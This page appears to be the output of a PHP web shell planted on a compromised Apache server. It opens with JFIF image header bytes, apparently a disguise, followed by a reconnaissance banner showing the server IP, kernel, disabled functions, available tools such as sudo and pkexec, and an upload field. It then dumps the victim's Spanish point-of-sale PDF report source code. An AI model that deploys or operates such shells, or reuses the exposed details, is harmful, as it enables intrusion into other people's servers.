����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����
Server IP : 74.208.127.88 / Your IP : 216.73.216.39 Web Server : Apache/2.4.41 (Ubuntu) System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64 User : www-data ( 33) PHP Version : 7.4.3-4ubuntu2.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /proc/self/root/proc/thread-self/root/var/www/html/muebles/application/master/ |
Upload File : |
<?php session_start(); header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0"); header("Cache-Control: post-check=0, pre-check=0", false); header("Pragma: no-cache"); require('fpdf/fpdf.php'); include "../../library/config.php"; require_once ("../model/dbconn.php"); require_once ("../model/pos.php"); if(!isset($_POST['id_sales'])) { die("Lo sentimos, el navegador no se puede actualizar para la seguridad de los datos. Vuelva a imprimir a través del formulario de reimpresión!!"); } $id_sales=$_POST['id_sales']; $txt=""; class PDF extends FPDF { function Header() { $firstRowCell='border: 2px solid red; background-color: #b70000; padding: 1px 9px;'; $this->Ln(10); $this->Image('logo_victoria.png',4,5,50); } function ChapterBody($txt) { $pos = new pos(); $list = $pos->getReporteTransito(); $data = $list[1]; //consulta de las ventas $i=0; $posItem = new pos(); //print_r($inv['data'][0]['unit']); $this->SetFont('Times','',10); $this->MultiCell(0,8,$txt); $this->SetY(20); $this->SetFont('Arial','B',25); $this->Cell(250,0,'Reporte de Mercancia en transito',0,0,'C'); $this->Ln(15); $hoy = date("d/m/y"); $this->SetFont('Arial','B',15); $this->Cell(300,7,'Fecha: '.$hoy,0,0,'C'); $this->Ln(); $this->Ln(15); $this->SetFont('Arial','B',10); $this->Cell(25,7,'Folio',1,0,'C'); $this->Cell(45,7,'Codigo',1,0,'C'); $this->Cell(90,7,'Nombre',1,0,'C'); $this->Cell(25,7,'Cantidad',1,0,'C'); $this->Ln(); $this->SetFont('Arial','B',9); foreach($data as $row) { $item = $pos->getItem3($row['barcode']); $this->Cell(25,7,$row['re_id'],1,0,'C'); $this->Cell(45,7,$row['barcode'],1,0,'C'); $this->Cell(90,7,$item[1]['item_name'],1,0,'C'); $this->Cell(25,7,$row['q'],1,0,'C'); $this->Ln(); } $this->Ln(10); $this->Cell(90,2,'Responsable: ',0,1,'C'); } function PrintChapter($txt) { $this->AddPage(); $this->ChapterBody($txt); } } $pdf=new PDF(); $pdf->PrintChapter($txt); $pdf->Output(); ?>